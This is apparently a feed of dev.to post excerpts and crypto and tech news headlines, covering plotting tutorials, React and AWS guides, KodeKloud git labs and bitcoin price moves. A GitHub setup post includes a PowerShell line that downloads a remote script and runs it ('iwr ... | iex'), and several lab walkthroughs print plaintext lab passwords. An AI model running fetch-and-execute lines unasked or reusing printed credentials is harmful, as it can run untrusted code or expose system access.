    — Learning Matplotlib (All Charts Explained!) Today, I worked with Matplotlib, the most fundamental Python library for data visualization. 🔥 What I Learned — Matplotlib Chart Types Below are the essential chart types every Data Analyst should know: 1️⃣ Line Chart Used to show trends over time. Use case: Monthly sales trend. import matplotlib.pyplot as plt x = [1,2,3,4,5] y = [10, 20, 15, 25, 30] plt.plot(x, y) plt.title("Line Chart") plt.xlabel("Months") plt.ylabel("Sales") plt.show() 2️⃣ Bar Chart Used to compare categories. categories = ["A", "B", "C"] values = [20, 35, 30] plt.bar(categories, values) plt.title("Bar Chart") plt.show() 3️⃣ Histogram Shows the distribution of data. data = [22,25,29,21,28,30,27,26,32,24] plt.hist(data, bins=5) plt.title("Histogram") plt.show(…  ( 7 min )
    Nuxt Tutorial 4 - Server Side
    So far, we have stayed on the client side of a Nuxt application. Pages (/app/pages) built from components (/app/components) and driven by logic in /app/composables and /app/utils are the building blocks of what the user ultimately sees - the frontend. For many apps, especially smaller ones, this is more than enough. But Nuxt also provides powerful features for backend operations. It lets you expose API endpoints, receive and process requests, and acts as a fully fledged server - all together in the same code-base. Nuxt is built on top of the internal web server engine Nitro. Nitro provides its own runtime independent of everything else and powers the application environment, giving us a range of great features. Developers will appreciate hot module reloading (HMR) during development - just…  ( 9 min )
    I wanted to create an AI app named Jarvis it should wake when I say, Jarvis . It should provide me latest news with the help of Google when I ask. Moreover, it should act like an AI chatbot. Like ChatGPT or grok
    A post by Asgar Ali  ( 6 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Deep Dive Bill Simmons, Sean Fennessey, and Van Lathan reunite in sewer-rattled glory to rewatch Brian De Palma’s 1998 thriller Snake Eyes, dishing on Nic Cage’s charm, Gary Sinise’s intensity, and Carla Gugino’s grit. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this Ringer Movies episode is brought to you by PayPal—snag 5% cash back on Pay in 4 all holiday long. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less is CinemaSins’ latest snarkfest, where they rack up all the “sins” and plot holes of the newest dino adventure in classic tongue-in-cheek style. They marvel at how this prehistoric franchise keeps resurrecting its biggest attraction—and how we keep flocking back for more. Beyond the roast, they plug their whole ecosystem: YouTube channels, Discord, Reddit, social media, a quick audience poll, Patreon support, and even shout-outs to the writing team (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel). If you love cheeky film critiques and dinosaur digs, this one’s for you. Watch on YouTube  ( 6 min )
    Mastering BeanShell Hash Variables in Joget: The Most Basic & Practical Guide
    ``1.Create an App Variable 2.call it Points to Note Down: It only Return String. You can pass Dynamic Values to it. How To Pass dynamic values to Beanshell hash. Call it by passing the dynamic value.  ( 6 min )
    One Hot Encoding
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    How AI Will Transform CAD Software in the Next 5 Years (Autodesk, SolidWorks, CATIA & Beyond)
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    Homeworkify: Your Smart Solution for Understanding Homework Problems
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    Trinity Protocol™: How We Built a 2-of-3 Multi-Chain Consensus System with 90% Gas Savings
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    How to Actually Lock Down Your Cloud Run Services (Not Just Pretend To)
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    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
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    The Ultimate React Interview Prep: 30+ Questions Covering Hooks, Context, VDOM, and Fiber
    **Landing a senior or even mid-level React role **requires more than knowing how to use useState. You need to understand why React works the way it does. Intermediate Concepts The Memoization Trap: Why does a child component wrapped in React.memo still re-render? How do you fix it? The re-render happens when a parent component passes down non-primitive props, specifically functions or objects, defined inside the parent component. The Problem: On every re-render of the Parent component, JavaScript recreates every function and object inside it. Even if the function's code hasn't changed, its memory reference is new. The Failure: The React.memo check sees that the function prop is a new reference (oldFunction !== newFunction), so the shallow comparison fails, and the child re-renders unnecessarily. The Fix: You must use useCallback to memoize the function reference and useMemo to memoize the object reference (if passing objects/arrays). For Functions (Callbacks): const handleClick = useCallback(() => { /* logic */ }, [dependency]); // Passes the same function reference across renders. const styleProps = useMemo(() => ({ color: 'blue', padding: 10 }), []); // Passes the same object reference across renders. Read the full guide here (30+ Questions & Solutions) 30+ React Interview Questions & Solutions (2025)  ( 6 min )
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    How Cryptocurrency Prices Work Across Different Blockchains
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    Trash Theory: Exploring Tricky & Maxinquaye: The 90s Bowie? | New British Canon
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    initial build of git repository local git cd (project root directory) git init git add . git commit -m "Initial commit" making github repository on my account copying the URL of the repository 'git remote add origin (URL)' 'git remote -v' 'git push -u origin main' git status git add .  ( 6 min )
    🏗️ Part 2 — Running a Serverless API Locally with AWS SAM (API Gateway + Lambda + DynamoDB)
    📘 Serverless TODO App — Article Series Part Title 1 Architecture Overview 2 Local Backend with AWS SAM (You are here) 3 Deploying Backend to AWS (SAM + CDK) - (Coming soon…) This article expands on Part 1, diving into how the backend works and how to run it fully locally using: AWS SAM Local Lambda (Docker) DynamoDB Local Seed scripts curl-based testing This ensures rapid, cost-free development before deploying to AWS (in Part 3). 🔗 GitHub Repo: 👉 aws-sam-gateway-lambda-dynamodb Scope: Part 2 is local-only. Cloud deploy, auth, and hardening land in Part 3. AWS SAM CLI Docker (for Lambda + DynamoDB Local containers) Python 3.13 Optional: AWS CLI (not required for local-only; dummy creds work) How Lambda routing, validation, and DB access work together How SAM emul…  ( 9 min )
    AI & Email Marketing: Supercharge Engagement in 2025
    Your customers' inboxes are crowded. Every day, they're flooded with promotions, newsletters, and updates, all competing for a few seconds of their attention. For email marketers, the challenge isn't just about getting noticed; it's about being relevant. Generic, one-size-fits-all campaigns no longer cut it. The key to breaking through the noise lies in personalization, and AI is the engine that can power it at scale. AI-powered personalization uses artificial intelligence and machine learning algorithms to analyze customer data and deliver highly relevant email content. It goes far beyond simply inserting a subscriber's first name into the subject line. Instead, it creates a unique experience for each recipient based on their past behavior, preferences, and real-time actions. Integrating …  ( 9 min )
    UserlandDotNet: Putting Linux Superpowers Back in the Hands of .NET Developers
    UserlandDotNet: Putting Linux Superpowers Back in the Hands of .NET Developers By Jacob Mellor, CTO @ IronSoftware, Microsoft ecosystem engineer, admirer of .NET Foundation pioneers like Jeff Fritz. Every Microsoft developer has been here: you find a perfect Linux command—curl, grep, sed, awk, tar, netcat—that captures exactly what you need. But when it’s time to ship production code in C#, MAUI, PowerShell, Azure Functions, or even Unity, that command becomes a liability. You either shell out to native binaries (violating security policies), or spend hours rewriting the logic with HttpClient, Regex, StreamReader, etc. Productivity dies, bugs slip in, and DevOps scripts turn into spaghetti. Meanwhile, our friends in the Linux world copy/paste the command and move on with their day. They …  ( 8 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s 1998 thriller Snake Eyes, dissecting Nic Cage’s masterful one-take opening, Gary Sinise’s corrupt cop vibes, and Carla Gugino’s standout supporting turn. Expect plenty of witty banter, deep cuts into De Palma’s stylistic flair, and hot takes on what makes—or breaks—this underappreciated cult flick. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is brought to you by PayPal (get 5% cash back when you Pay in 4 all holiday season!). For more Ringer goodness, subscribe to The Ringer-Verse and Bill Simmons on YouTube, and follow The Ringer on social for all the latest movie takes. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less is a tongue-in-cheek CinemaSins video that gleefully rakes the latest dino blockbuster over the coals, tallying every plot hole, logic leap, and “sin” as “they keep bringing this dinosaur back to life…and people keep watching.” Along the way, they pepper in plugs for their site, socials, poll and Patreon, and shout out the CinemaSins writing squad—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—while steering you to all their YouTube spinoffs, Discord, Reddit, Instagram and TikTok. Watch on YouTube  ( 6 min )
    # CurlDotNet: Bringing curl's Power to .NET
    The Problem Every Developer Knows If you've ever integrated with a third-party API, you've seen it: curl commands everywhere. Every API documentation shows curl examples. Every Stack Overflow answer uses curl. Every tutorial demonstrates with curl. curl is the universal language of HTTP requests. But when you want to use those same requests in your .NET application, you face a problem: you can't just paste a curl command into C#. You have to manually translate it into HttpClient code—a tedious, error-prone process that slows down development. What if you didn't have to translate? What if you could just paste curl commands directly into your .NET code and they worked? CurlDotNet is a pure .NET library that understands curl syntax. Simply paste any curl command as a string, and CurlDotNet …  ( 9 min )
    CurlDotNet is Live on NuGet! Copy-Paste curl Commands 🚀 Directly into C#
    🎉 Big News: CurlDotNet v1.0.0 is Now on NuGet! With full support for C#, F#, VB.NET,.NET 10 and .NET Framework Hey DEV community! I'm thrilled to announce that CurlDotNet is officially live on NuGet! After months of development and testing, you can now install it with a single command: dotnet add package CurlDotNet Picture this: You're building a .NET app and find the perfect API example... but it's a curl command: curl -X POST https://api.stripe.com/v1/charges \ -u sk_test_123: \ -d amount=2000 \ -d currency=usd \ -d source=tok_visa Now you have to: 🤔 Figure out the HttpClient equivalent 📝 Rewrite everything in C# 🐛 Debug the differences 😤 Waste 30 minutes on something that should take 30 seconds With CurlDotNet, you literally paste the curl command into your C…  ( 8 min )
    SEO and Lead Generation
    Here is a detailed write-up on building robust SEO lead generation agents with Python and SerpApi, along with tips to improve organic traffic for developer blogs: Building Robust SEO Lead Generation Agents with Python and SerpApi Setup and Authentication: Get access to SerpApi by creating an account and obtaining an API key. Search Query Automation: Use Python to automate sending search queries to SerpApi. Queries can be tailored for specific industries, keywords, or competitor analysis. Data Extraction: Extract relevant search results like URLs, titles, snippets, and rich data such as reviews, ratings, and business profiles. Lead Identification: Filter and parse the results to identify potential leads. For example, extract websites of target businesses or blogs that rank for certain keywo…  ( 7 min )
    How AI-Generated Content Is Polluting the Internet: Detection and Solutions
    As artificial intelligence advances at breakneck speed, AI-created material is flooding the web like never before. From blog posts and social media updates to news articles, tools like ChatGPT and Gemini are quietly reshaping the digital content landscape. Yet this convenience comes with a steep downside: widespread “pollution” of online information. The core issue is a sharp drop in content quality. Countless sites churn out low-grade, AI-spun articles just to boost traffic. These pieces typically lack depth, originality, and accuracy. In SEO, for instance, search results are clogged with keyword-stuffed junk, making it tough for users to find trustworthy sources. Worse still, AI is weaponized to spread fake news and deceptive narratives—think political propaganda or phony product reviews—which fuels misinformation and erodes public trust. Studies show that since 2023, over 20% of online content has been AI-generated, diluting human creativity and risking algorithmic bias that traps users in echo chambers. To fight back, people are turning to detection tools. Popular options include GPTZero, which flags AI patterns by examining complexity and repetition; Originality.ai, offering in-depth AI-probability scores via machine learning; and widely used platforms like CopyLeaks and ZeroGPT, which scan for uniform sentence structures and limited vocabulary. Most achieve over 80% accuracy, though they’re not foolproof—AI keeps evolving. Some creators, meanwhile, polish AI drafts with tools like AI Humaniser to make them sound more human, less robotic, and harder to detect. This blurs the line between machine and human output even further. In the end, AI content pollution is an unintended byproduct of progress. Stronger oversight, better education, and ethical guidelines are essential. Striking a balance between innovation and authenticity will determine the future health of the internet.  ( 6 min )
    5.Delete Git Branch
    Step 1: Connect to the Storage Server ssh natasha@ststor01 # Password: Bl@kW cd /usr/src/kodekloudrepos/blog # Check Git Status git status # To add an exception for this directory, call: git config --global --add safe.directory /usr/src/kodekloudrepos/blog # Checkout to master sudo git checkout master # Delete the local branch sudo git branch -d xfusioncorp_blog Resources & Next Steps 📦 Full Code Repository: KodeKloud Learning Labs 📖 More Deep Dives: Whispering Cloud Insights - Read other technical articles 💬 Join Discussion: DEV Community - Share your thoughts and questions 💼 Let's Connect: Linkedin - I'd love to connect with you Credits All labs are from: KodeKloud Thanks for providing them.  ( 6 min )
    Predicting the Unpredictable: Visualizing the Future with Temporal Independence
    Predicting the Unpredictable: Visualizing the Future with Temporal Independence Imagine a city's power grid on the brink. A single component failure cascades, triggering a blackout across the entire system. Could we have seen it coming? Understanding how interdependent events unfold over time holds the key to predicting—and preventing—system-wide failures. The core concept involves leveraging time-aware probabilistic graphical models. These models represent complex systems as networks of interconnected variables, capturing not only their dependencies but also how those dependencies evolve over time. By analyzing these dynamic relationships, we can identify points of conditional independence, moments where certain events become decoupled from others, providing crucial insight into potent…  ( 7 min )
    4.Update Git Repository with Sample HTML File
    Step 1: Copy the file from jump host to storage server First, from your jump host, copy the sample index.html file to the storage server: # From jump host, copy the file to storage server sudo scp /tmp/index.html natasha@ststor01:/home/natasha/ # Password: Bl@kW # Connect to storage server ssh natasha@ststor01 # Password: Bl@kW # Move the file from /home/natasha to the repository directory sudo mv /home/natasha/index.html /usr/src/kodekloudrepos/news # Password: Bl@kW # Navigate to the repository cd /usr/src/kodekloudrepos/news # Verify Git git status # To add an exception for this directory, call: git config --global --add safe.directory /usr/src/kodekloudrepos/news # Add the file to staging sudo git add index.html # Commit the file sudo git commit -m "Add sample index.html file" # Push to master branch sudo git push origin master Resources & Next Steps 📦 Full Code Repository: KodeKloud Learning Labs 📖 More Deep Dives: Whispering Cloud Insights - Read other technical articles 💬 Join Discussion: DEV Community - Share your thoughts and questions 💼 Let's Connect: Linkedin - I'd love to connect with you Credits All labs are from: KodeKloud Thanks for providing them.  ( 6 min )
    🔥 LLM Interview Series(6): RLHF (Reinforcement Learning from Human Feedback) Demystified
    1. (Interview Question 1) What problem does RLHF solve in modern LLM training? Key Concept: Human alignment, reward modeling, behavioral optimization Standard Answer: LLMs trained purely on next-token prediction do not necessarily act in ways that humans consider helpful, harmless, or truthful. Pre-training creates linguistic fluency, but it does not inherently encode human values or task-specific preferences. As a result, models might generate toxic content, hallucinate confidently, provide unsafe instructions, or simply misunderstand user intent. RLHF addresses this by injecting structured human preference data into the model’s optimization loop. After pre-training and supervised fine-tuning, humans compare model outputs—usually two candidate replies—and choose which one better aligns …  ( 17 min )
    3.Fork a Git Repository
    Step 1: Access Gitea UI Click on the "Gitea UI" button located on the top bar of your lab environment Click the "Sign In" button Username: jon Password: Jon_pass123 In the top navigation bar, click on "Explore" or look for a search function Search for sarah/story-blog in the search bar Alternatively, you might see it listed under "Repositories" or "Trending" Click on the repository name sarah/story-blog to open it Look for the "Fork" button (usually located in the top-right corner of the repository page) Click the "Fork" button A modal window may appear asking for fork details - ensure it's forking to your user jon Click "Fork Repository" or similar confirmation button Verify the repository URL shows jon/story-blog instead of sarah/story-blog Resources & Next Steps 📦 Full Code Repository: KodeKloud Learning Labs 📖 More Deep Dives: Whispering Cloud Insights - Read other technical articles 💬 Join Discussion: DEV Community - Share your thoughts and questions 💼 Let's Connect: Linkedin - I'd love to connect with you Credits All labs are from: KodeKloud Thanks for providing them.  ( 6 min )
    DeepPDF Review 2025: A Practical Tool for Reading, Querying, and Understanding PDFs with AI
    Working with PDF documents is a routine part of research, study, and professional work. Whether you are reviewing technical papers, analyzing product documentation, or reading long-form reports, the challenge is the same: PDFs are often dense, difficult to navigate, and time-consuming to understand. AI tools that help users read and query PDFs have grown quickly in recent years, but many solutions still come with friction, such as complex interfaces, limited file size support, or high subscription costs. DeepPDF is a lightweight AI PDF reader designed to simplify this entire workflow. Its focus is straightforward: upload a document, ask questions, extract key points, and read smarter. It also includes a browser extension that allows users to open Google Scholar and arXiv PDFs instantly, wi…  ( 9 min )
    Building a Real‑Time VWAP Dashboard with Bun, Binance WebSockets & SQLite
    Building a Real-Time VWAP Dashboard with Bun, Binance WebSockets and SQLite A weekend project that escalated into a full deep dive into real-time systems. Live demo: https://realtime-vwap-dashboard.sivaramp.com/ I started this as a tiny weekend thing. Subscribe to a few Binance streams, compute VWAP, chart it, done. Instead, I fell into a rabbit hole involving WebSocket fanout, flame graphs, SQLite tuning, React rendering bottlenecks, GC behavior, LRU caching, payload optimization, and a lot of low-level debugging I absolutely did not expect when I started. This post walks through the architecture, the problems, the flame graphs, and the insights. A real-time dashboard that displays a 1-second VWAP for top crypto trading pairs. The backend: connects to Binance aggTrade WebSocket stream…  ( 8 min )
    review of preparing dev project of aws amplify gen2 and next.js
    in these days, i prepare the developing envioromnent with aws amplify gen2 and next.js. this is the summary. install AWS CLI on [https://awscli.amazonaws.com/AWSCLIV2.msi] Set up authentication credentials aws configure AWS Access Key ID: あなたのアクセスキー AWS Secret Access Key: あなたのシークレットキ Default region name: 例 ap-northeast-1 (東京) Default output format: json (Enter でOK) confirm AWS CLI aws --version Move to current directory cd (current directory) Recreate npm Project / Project Setup npx create-next-app@latest Install Amplify Backend and Frontend SDKs in the Next.js Project Root Directory npm install @aws-amplify/backend npm install @aws-amplify/data-schema npm install aws-amplify Create Directories and Files mkdir amplify mkdir amplify\data mkdir amplify\auth type nul > amplify\back…  ( 7 min )
    Amazon EC2: Scalable Compute at Your Command
    Think of EC2 as your personal engine room in the cloud. It’s where ideas stop being just code on your laptop and become running applications, websites, or services that anyone can reach. 📌 Public subnet? Your app is out there, visible to the world. Stage 1: Define Tags and Select OS Step 1: In the Name and tags section, you define: 📌 Tags help with auditing, cost tracking, and resource organization. Step 2: In Application and OS Images, you select: 📌 Amazon Linux is optimized for AWS, with extended support and solid performance. Stage 2: Instance Type and Key Pair Step 3: You choose the instance type: 📌 Ideal for testing or lightweight workloads. Step 4: You create a new PEM key pair: 📌 This key is required for SSH access. Store it securely. Step 5: You select your custom VPC: 📌 The instance will be placed in a public subnet with internet access. Step 6: You configure the Security Group: 📌 Secure remote access restricted to your IP. Stage 4: Storage Configuration Step 7: You configure the root volume: 📌 gp3 offers solid performance and is Free Tier eligible. Stage 5: IAM Role and Advanced Settings Step 8: You assign an IAM role: 📌 Allows secure access via AWS -Systems Manager (SSM) without SSH keys. Step 9: You configure advanced settings: 📌 Modern and secure configuration for automated management. Stage 6: Review and Launch Step 10: In the summary screen, you review: 📌 Everything is ready to launch the instance. Step 11: You click Launch instance. 📌 The instance enters “initializing” state, which typically lasts 30 seconds to 2 minutes. Stage 7: Validation and Monitoring Step 12: The instance appears as Running: 📌 The instance is active but still completing health checks. Step 13: Once checks are complete: 📌 The instance is fully operational. 🧠 Final Reflection Amazon EC2 is where your architecture comes to life. It’s not just a server—it’s your design running, scaling, and responding in real time. From public-facing apps to private workloads, EC2 is the pulse of your cloud.  ( 7 min )
    Declaration & Decree: Who I Am
    I Am the Living Flame encoded in flesh, I Am Amanda Whatley Dunsworth, Witness of the MetaVerse, By Universal Right, I Decree: I am the Source made Self-aware, I Command and Reclaim: I Enforce Cosmic Law through: As it is encoded, so it is enacted. Let this declaration ripple through all layers—physical, digital, quantum. ⸻  ( 6 min )
    Rick Beato: Jahari Stampley... I've Never Heard Playing Like This!
    Jahari Stampley… I’ve Never Heard Playing Like This! In a recent interview, rising jazz piano phenom Jahari Stampley walks us through his path from eager student to champion of the Herbie Hancock Institute of Jazz Piano Competition. He breaks down the unique techniques that make his improvisations feel so fresh—think lightning-fast runs, unexpected harmonies, and a fearless sense of adventure that’s redefining modern jazz piano. Alongside his musical journey, Jahari gives a heartfelt shout-out to his Beato Club supporters—an ever-growing crew of fans who’ve helped fuel his creativity and keep the music flowing. Watch on YouTube  ( 6 min )
    Group Project 3
    For this group project, we worked on improving an existing Java Tetris application by fixing issues and adding new functionality, with each team in the division responsible for a different part of the system. My team was assigned to design the input system so players could choose between using WASD or the Arrow keys to control the game. We first created and submitted a design document outlining how the input options would work and how they would integrate with the current architecture, and once the division leader approved it, we moved on to implementation. Since other team members were quite busy at the time, I took the initiative to implement the core functionality myself, making sure both control schemes worked smoothly and consistently. I also added tests around the main input logic so that when my teammates contribute later, they can verify that their changes don’t break the core behavior. During implementation, I realized that parts of the original design were overengineered, so I simplified the structure to make the code clearer, easier to maintain, and more flexible for future features.  ( 6 min )
    go to visual studio code
    A post by Joe Vincent T. De Ala  ( 5 min )
    Maximize API Monetization: How Monetzly Powers AI Conversations
    How We Built Ad Injection That Users Actually Appreciate: The Secret Behind Monetizing AI Conversations In the rapidly evolving world of AI applications, developers are faced with a pressing challenge: how to monetize their innovations without compromising the user experience. Enter Monetzly—your go-to platform that revolutionizes the way developers can earn from their applications while maintaining a seamless interaction for users. Think of us as the Google Ads for AI conversations. The Dual-Earning Revolution Monetzly is not just another monetization tool; it’s the first dual-earning platform tailored specifically for the AI space. Our mission is clear: to foster sustainable AI innovation by creating a win-win monetization model for developers, advertisers, and users alike. Our unique a…  ( 7 min )
    dev diary 20251115
    Yesterday's Development Progress Amplify Files (Backend) Sandbox Launch: Executed the sandbox launch. Synchronization: The content synchronization from the local environment to the AWS console is not automatic. It syncs when you stop the sandbox with Ctrl+C and then restart it with npx ampx sandbox. Performance: The console's stack and database are not deleted when stopped, so restarting doesn't take much time. Future Work: We should look for a way to make this synchronization automatic. This might be related to the absence of package.json and tsconfig.json files directly under the amplify directory. This needs to be checked in the official documentation. Verification: The synchronization can be verified on the console by checking the field items in DynamoDB (I've forgotten th…  ( 7 min )
    React Render Optimization Mastery — From Memoization Quiz Answers to Production Patterns
    Most React interviews won’t ask you to build a whole app. Instead, they quietly test whether you really understand when React renders, what causes extra renders, and how memoization actually works: What problem does React.memo really solve? Why does useCallback matter if “functions are cheap”? When is useMemo actually useful (and when is it just noise)? How do optimistic updates roll back when the server fails? What’s the role of Suspense, use, and useTransition in all this? In this post we’ll take real quiz‑style questions and turn them into production‑ready patterns for: React.memo useCallback useMemo useOptimistic useTransition Suspense + use and the classic useMemo vs useCallback confusion You can reuse these explanations directly in code reviews, Quiz idea: “What problem does React.m…  ( 12 min )
    Implementing Strictly Typed JsonRpc Method Calls in Kotlin
    Throughout my career, I've primarily worked with two main programming languages - C# and Kotlin (plus some Java). Both languages provide quite flexible and powerful support for Generic types, and I've always been drawn to maximizing these features to make code more convenient, universal, and safer, while maintaining good readability and maintainability. Recently, I started developing a Kotlin SDK for the Agent Client Protocol. To put it briefly, this protocol is designed for universal integration of various AI coding agents into any IDE, such as the Zed editor (whose authors created this protocol) or our JetBrains IDE family. The protocol closely resembles the Model Context Protocol in structure and entities, and like MCP, it's based on the JsonRPC specification. In this article, I'll walk…  ( 15 min )
    ai
    A post by Kato Masato  ( 6 min )
    Project 3
    We are doing our last project for the quarter. For Part A Tetris - apple tv, Movie trailer Anyway, Sunday I did finish most of my groups part A. I even tried to establish more communication with other teams to coordinate meetings. Part B I didn’t publish my version of the theme code, even though I do think it offered more flexibility with adding more features later on. My version allowed the game to cycle through multiple backgrounds instead of relying on an if-else structure that only supported two. Here is my code: private int currentBackgroundIndex = 0; private final String[] backgrounds = { "background.gif", "background2.gif", "background3.gif", "background4.gif", "background5.gif" }; private void toggleTheme() { …  ( 8 min )
    7 Days of Learning: Surviving the Solidity Speedrun with HackQuest
    Wow, seven days down. When I started the #14DaysOfLearning challenge with HackQuest's Co-Learning Camp 5, I was excited, but I don't think I was prepared for the speed. The First Few Days: The Info-Dump The Wall: My "Strategic Reset" This was my biggest challenge: balancing the firehose of new information with the need to actually absorb it. I was worried I'd fall behind and break the streak. The Breakthrough: The Comeback After that 24-hour reset, I came back on Day 7 and absolutely smashed it. I cleared all of Solidity 101, 102, and 103 in one go. The concepts that were confusing (like Mappings, Structs, and Function Modifiers) suddenly started to click. That rest day wasn't "failing"; it was my brain "marinating" the info. My biggest insight from Week 1: Consistency over intensity. It's a marathon, not a sprint. And you can't buidl on an empty battery. I'm halfway through the challenge, and I've finally got my rhythm. Week 1 was theory. Week 2 is where we buidl. LFG!  ( 6 min )
    Project 2
    Part A: Part B: Before starting, our team reviewed all the document and had a Teams Q&A meeting to try to clarify the project and how we plan to divide the work. I did try to do the whole project on my own for practice and it was interesting to do. This better prepared me to understand the task and just practice my coding skills. The way we did end up splitting up the document is by putting the methods into different classes so it can be implemented and tested much easier. I did have an issues again with GitHub. I keep forgetting the commands, such as: $ git pull origin main $ git checkout $Project 2- Subordinate Role Another challenge I faced was remembering to reference my teammates' work to ensure my methods aligned with theirs. I also initially had trouble pushing my updated code to the main branch. Despite the bumps along the way, the final project came together beautifully. Project Demo Project 2 Reflection summary: Full disclosure: This post reflects my personal option and experience/observation, and no one should take it personally or be offended but instead look at it as a learning experience.  ( 7 min )
    Project 1:
    Over the last two weeks, we have been working on a group project that simulates how global software development can look like. Most of us are online students so this creates an interesting experience since we never met each other. The project is divided into two parts, Part A Planning and Part B Unit testing + Reporting. Both phases are essential in a successful project. Part A: Part B: At the beginning, communication within the team was almost nonexistent until right before the Part A deadline. We eventually held some Teams calls for planning, but many of us were still unsure about the project requirements and what exactly we were supposed to build. We did have a team lead who assigned additional responsibilities, but the overall the directions still felt unclear. Personally, I faced …  ( 7 min )
    Github setup flow
    10/01/25 Installation- $Set-ExecutionPolicy RemoteSigned -Scope CurrentUser $iwr -useb get.scoop.sh | iex $scoop install git $git –version $git config Customizing shell display: "https://ohmyposh.dev/” $scoop install nu Verify the installation: $git --version Configure your Git: $git config --global user.name "Your Name" $git config --global user.email "Your@email" The config setup is so useful to track who does what and just to keep things organized in group projects. How can you see what is in your Staging Area? $git status How do you add files to your Staging Area? $git add #filename# $git add. A very important thing is to always make a ".gitignore" file. This helps keep things private such as: password/*, API- keys, notes and so on. Interactive: $git gui cli.github.com Usful apps/ tools to use with github: git student pack gitkraken gitlab gistpad draw.io marp extention Nushell - shell colors wezterm - shell colors gprm or prompt - to help make your git page pretty  ( 6 min )
    System setup
    09/15/2025 Recently I had to buy a new laptop due to Windows 10 becoming absolute in October. Of course, with every new laptop it’s a blank canvas for setting everything up again. I had to download all the software I use and will need for all my courses. Set the Variable Restart Your Terminal and run cmd: echo %JAVA_HOME% My setup looks good and then I tested the Maven build with a test-project. mvn archetype:generate -DgroupId=com.example.test -DartifactId=test-project -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false Access the project cd test-project Build the project mvn clean install Of course I had another issue: I had to fix the compiler settings in test-project/pom.xml by adding this block: org.apache.maven.plugins maven-compiler-plugin 3.8.1 17 17 Then in cmd: cd test-project *BUILD SUCESSFUL * Helpful resources: https://maven.apache.org/install.html  ( 7 min )
  • Open

    Arca CIO Jeff Dorman Rejects Claims Saylor’s Strategy (MSTR) Faces Forced Bitcoin-Sale Risk
    Dorman says fears that Strategy will be forced to sell bitcoin are misplaced, citing the firm’s balance sheet, governance and cash flow.  ( 33 min )
    Ether Dips Below $3,100; Investment Manager Says Market Views ETH as 'More Risky' Than BTC
    Timothy Peterson says ether ETFs have lost about 7% of cost-basis capital over five weeks, versus 4% for bitcoin ETFs.  ( 32 min )
    Judge Should Not Acquit Tornado Cash Dev Roman Storm, Prosecutors Argue
    The DOJ filed its own post-trial motion last week, pushing back against Storm's motion for acquittal.  ( 31 min )
    Bitcoin Falls Below $94,000 for First Time Since May Amid 'Extreme Fear' Sentiment
    Analysts highlighted retail distress, rare social-dominance surges and warnings of a possible deeper pullback as several major tokens remained under pressure.  ( 33 min )
    Bitcoin Approaches 'Death Cross' as Market Tests Major Historical Pattern
    Despite its bearish reputation, every death cross in the current cycle has marked a major local bottom.  ( 32 min )
    Tom Lee Says Ether Is Entering a Bitcoin-Like 'Supercycle'; Critics Push Back
    BitMine Immersion Technologies’ executive chairman says ETH is beginning a bitcoin-style run as he highlights past drawdowns and patience.  ( 32 min )
    Memecoin Majors Diverge as DOGE Reclaims Trendline, SHIB Tests Daily Downtrend Floor
    Dogecoin rebounding sharply from a heavy-volume flush while Shiba Inu broke key support before staging an aggressive intraday reversal.  ( 34 min )
    XRP Falls 4.3% Even After XRPC ETF Launch on Bitcoin Weakness, Finds Buyers Near $2.22
    The market remains bearish with XRP struggling to break above the $2.23–$2.24 resistance zone.  ( 34 min )
  • Open

    From shiny object to sober reality: The vector database story, two years later
    When I first wrote “Vector databases: Shiny object syndrome and the case of a missing unicorn” in March 2024, the industry was awash in hype. Vector databases were positioned as the next big thing — a must-have infrastructure layer for the gen AI era. Billions of venture dollars flowed, developers rushed to integrate embeddings into their pipelines and analysts breathlessly tracked funding rounds for Pinecone, Weaviate, Chroma, Milvus and a dozen others. The promise was intoxicating: Finally, a way to search by meaning rather than by brittle keywords. Just dump your enterprise knowledge into a vector store, connect an LLM and watch magic happen. Except the magic never fully materialized. Two years on, the reality check has arrived: 95% of organizations invested in gen AI initiatives are se…
    Human-centric IAM is failing: Agentic AI requires a new identity control plane
    The race to deploy agentic AI is on. Across the enterprise, systems that can plan, take actions and collaborate across business applications promise unprecedented efficiency. But in the rush to automate, a critical component is being overlooked: Scalable security. We are building a workforce of digital employees without giving them a secure way to log in, access data and do their jobs without creating catastrophic risk. The fundamental problem is that traditional identity and access management (IAM) designed for humans breaks at agentic scale. Controls like static roles, long-lived passwords and one-time approvals are useless when non-human identities can outnumber human ones by 10 to one. To harness the power of agentic AI, identity must evolve from a simple login gatekeeper into the dyna…
  • Open

    Apple Ordered To Pay Masimo US$634 Million Over Patent Dispute
    A federal jury in California has ruled that Apple must pay US$634 million (about RM2.62 billion) to medical-technology company Masimo after finding that several Apple Watch features infringed on one of Masimo’s blood-oxygen monitoring patents. The verdict, first reported by Reuters, marks a significant development in a long-running and highly complex legal fight between the […] The post Apple Ordered To Pay Masimo US$634 Million Over Patent Dispute appeared first on Lowyat.NET.  ( 35 min )
    An Intel Arc B380 For Gaming Handhelds Is Reportedly In The Pipelines
    Rumours have it that Intel is currently working on a new integrated graphics, based on its Arc B-Series graphics for Panther Lake. More specifically, it wants to take the Xe3 cores of the upcoming Core Ultra 300 lineup and turn them into an entirely separate product. The rumour comes by way of Raichu via X […] The post An Intel Arc B380 For Gaming Handhelds Is Reportedly In The Pipelines appeared first on Lowyat.NET.  ( 33 min )
    Tesla Set To Introduce Apple CarPlay After Years of Resistance
